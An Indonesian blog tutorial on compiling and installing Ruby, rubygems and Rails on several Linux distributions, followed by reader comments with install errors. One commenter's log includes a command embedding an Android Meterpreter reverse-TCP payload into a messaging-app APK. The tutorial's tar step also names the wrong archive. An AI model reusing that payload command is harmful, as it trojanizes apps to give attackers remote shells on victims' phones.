Sabtu, 04 Agustus 2012

Install Ruby di Linux


Ada beberapa cara untuk install Ruby di linux, diantaranya kita bisa menggunakan rvm, compile dari source ruby  dan sebagainya. Yang akan kami bahas di artikel ini adalah solusi untuk install Ruby dengan di beberapa distro linux dengan compile dari source ruby dan cara ini efektif jika anda hanya
ingin install satu versi Ruby di komputer Anda.

Jika Anda perlu install beragam versi Ruby, silakan menggunakan rvm. Cara installasi dengan
RVM dapat dilihat di :
http://www.belajarrubyonrails.com/2013/07/installasi-beragam-versi-ruby-di-linux.html

Persiapan


Langkah pertama kita akan Install paket yg diperlukan untuk meng-compile ruby.

Catatan:
Pastikan user Anda punya akses untk melakukan perinta sudo. Untuk dapat melakukan perintah sudo, user harus merupakan sudoers. Biasanya yang dapat melakukan perintah sudo adalah user anggota group wheel.

CentOS/RH/Fedora/AMI



Lakukan update repository paket aplikasi distro dengan menjalankan perintah berikut
sudo yum update
Kemudian install paket-paket aplikasi yang diperlukan untuk melakukan kompilasi source Ruby
sudo yum install -y gcc-c++ patch readline readline-devel curl git zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison iconv-devel

Ubuntu/Debian


Install paket-paket aplikasi yang diperlukan untuk melakukan kompilasi source Ruby

sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion

Gentoo


Lakukan sinkronisasi paket aplikasi dengan menjalankan perintah

sudo emerge --sync
Install paket aplikasi yang diperlukan dalam proses kompilasi source Ruby

sudo emerge libiconv readline zlib openssl curl git libyaml sqlite libxslt libtool gcc autoconf automake bison m4

Compile Source Ruby


Install libyaml


wget http://pyyaml.org/download/libyaml/yaml-0.1.4.tar.gz
tar xzvf yaml-0.1.4.tar.gz
cd yaml-0.1.4
./configure --prefix=/usr/local
make
sudo make install

Install ruby 


wget https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.1.tar.gz
tar xzvf ruby-1.9.3-pXXX.tar.gz
cd ruby-2.4.1
./configure --prefix=/usr/local --enable-shared --disable-install-doc --with-opt-dir=/usr/local/lib
make
sudo make install

          NOTES: Untuk check versi ruby terbaru beserta link downloadnya, silakan lihat disini:

          https://www.ruby-lang.org/en/downloads/

Update rubygems


sudo gem update –system

Install Rails, Bundler dan Rake

sudo gem install rails
sudo gem install bundler
sudo gem install rake

16 komentar:

  1. kok ga bisa2 mas..
    saya masih bingung ni cara nginstal'a..

    BalasHapus
    Balasan
    1. Hi Mies Wan PHP,

      Bisa tolong beritahu kami mengenai:

      1. Versi Linux yang digunakan
      2. Tahapan dalam tutorial yang sudah dijalankan
      3. Error yang dihadapi

      Agar kami bisa bantu debug permasalah Anda.

      Thanks,

      Hapus
  2. Salam Kan makasih pisan tutornya:

    saya ada beberapa pertanyaan:
    pas terakhir install rails nya ga pake sudo apakah ada perbedaan?
    soalnya instalasi nya tetep jalan.

    terimakasih

    BalasHapus
    Balasan
    1. Kalau ga pake 'sudo' terus jalan berarti Mas sudah login sebagai root, jadi menurut perkiraan kami ga akan ada perbedaan

      Hapus
  3. mas saya menggunakan kali linux base debian menemukan eror seperti ini saat install rails..... setelah saya googling masalahnya harus upgrade xcode-select --install tapi ini berlaku di MAC kalau di linux gimana ya mas: ini masalah saya mas :
    root@kali:~/yaml-0.1.5# sudo gem install rails
    Fetching: i18n-0.6.11.gem (100%)
    Fetching: json-1.8.1.gem (100%)
    Building native extensions. This could take a while...
    ERROR: Error installing rails:
    ERROR: Failed to build gem native extension.

    /usr/bin/ruby1.9.1 extconf.rb
    /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
    from /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require'
    from extconf.rb:1:in `'


    Gem files will remain installed in /var/lib/gems/1.9.1/gems/json-1.8.1 for inspection.
    Results logged to /var/lib/gems/1.9.1/gems/json-1.8.1/ext/json/ext/generator/gem_make.out

    BalasHapus
    Balasan
    1. Hello Mas Drago,

      Makasih sudah add komentar.
      Untuk solve masalahnya, coba jalankan ini:

      sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion

      jika masih error silakan liat solusi disini:

      http://stackoverflow.com/questions/13767725/unable-to-install-gem-failed-to-build-gem-native-extension-cannot-load-such

      Kalau masih ga bisa silakan kontak kita lagi.

      Hapus
  4. Malem om.
    saya dapet error waktu compile ruby 2.3.1 seperti gambar dibawah ini :

    http://i63.tinypic.com/o8scv8.png

    mohon pencerahannya om.
    OS Saat ini : Linux Ubuntu 14.04

    BalasHapus
    Balasan
    1. Halo Rizaldi,

      Kenapa menjalankan install-doc ?
      Setau kami tidak ada command tersebut di ubuntu dan tidak diperlukan juga untuk install ruby.

      Hapus
  5. mas punya sya error kayak gini,
    ruby apk-embed-payload.rb
    /usr/local/lib/site_ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- nokogiri (LoadError)
    .
    itu knapa ya? gmna cra nyelesaikanya di kali linux. trimakasih

    BalasHapus
  6. maaf saya pake ubuntu 16.04 lts saat saya install rails ada eror begini eror nya:
    root@afiqaan-X201EP:/home/afiq-aan# sudo gem install rails
    Fetching: i18n-0.8.1.gem (100%)
    Successfully installed i18n-0.8.1
    Fetching: thread_safe-0.3.6.gem (100%)
    Successfully installed thread_safe-0.3.6
    Fetching: tzinfo-1.2.3.gem (100%)
    Successfully installed tzinfo-1.2.3
    Fetching: concurrent-ruby-1.0.5.gem (100%)
    Successfully installed concurrent-ruby-1.0.5
    Fetching: activesupport-5.0.2.gem (100%)
    Successfully installed activesupport-5.0.2
    Fetching: rack-2.0.1.gem (100%)
    Successfully installed rack-2.0.1
    Fetching: rack-test-0.6.3.gem (100%)
    Successfully installed rack-test-0.6.3
    Fetching: mini_portile2-2.1.0.gem (100%)
    Successfully installed mini_portile2-2.1.0
    Fetching: nokogiri-1.7.1.gem (100%)
    Building native extensions. This could take a while...
    ERROR: Error installing rails:
    ERROR: Failed to build gem native extension.

    current directory: /var/lib/gems/2.3.0/gems/nokogiri-1.7.1/ext/nokogiri
    /usr/bin/ruby2.3 -r ./siteconf20170426-11925-15drzwq.rb extconf.rb
    mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h

    extconf failed, exit code 1

    Gem files will remain installed in /var/lib/gems/2.3.0/gems/nokogiri-1.7.1 for inspection.
    Results logged to /var/lib/gems/2.3.0/extensions/x86_64-linux/2.3.0/nokogiri-1.7.1/gem_make.out
    root@afiqaan-X201EP:/home/afiq-aan# sudo gem install rails
    ^CERROR: Interrupted
    root@afiqaan-X201EP:/home/afiq-aan# cd /home/afiq-aan/Desktop/apk-embed
    root@afiqaan-X201EP:/home/afiq-aan/Desktop/apk-embed# ruby apk-embed-payload.rb bbm-3-3-2-31.apk -p android/meterpreter/reverse_tcp lhost=192.168.0.108 lport=444
    /usr/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- nokogiri (LoadError)
    from /usr/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require'
    from apk-embed-payload.rb:9:in `'
    mohon pencerahannya install yg lain sukses kok

    BalasHapus
    Balasan
    1. Halo Mas Ahmad,

      Apakah sudah jalankan command ini?

      sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion

      Hapus
  7. Sore om. Mau tanya. saya bingung pada bagian instalasi ruby nya. diatas om jelaskan pada bagian ini :
    wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-pXXX.tar.gz

    harus ganti XXX jadi versi ruby terbaru. saya sudah cek, versi terbarunya adalah 2.4.1. saya coba ganti jadi :

    wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p2.4.1.tar.gz

    tapi hasil nya 404 Not Found om. penulisan versinya yg benar seharusnya kaya gimana om?

    terimakasih

    BalasHapus
  8. Halo Mas Rizaldi... maaf nih atas keterangan yang membingungkan..maksudnya ganti XXX itu ganti url buat downloadnya. Untuk Ruby 2.4.1 ini link download yang benernya:
    https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.1.tar.gz

    BalasHapus
  9. Hallo Mas, Mau tanya dan sarannya bagus mana diinstall di windows, linux atau mac? Apakaha windows kurang powerful? Terima kasih

    BalasHapus
    Balasan
    1. Menurut kami sama saja Mas, bagaimana selera dan kebiasaan. Kalau kamu lebih senang linux ubuntu karena menurut kami installasi nya lebih mudah daripada di Windows dan Mac.

      Hapus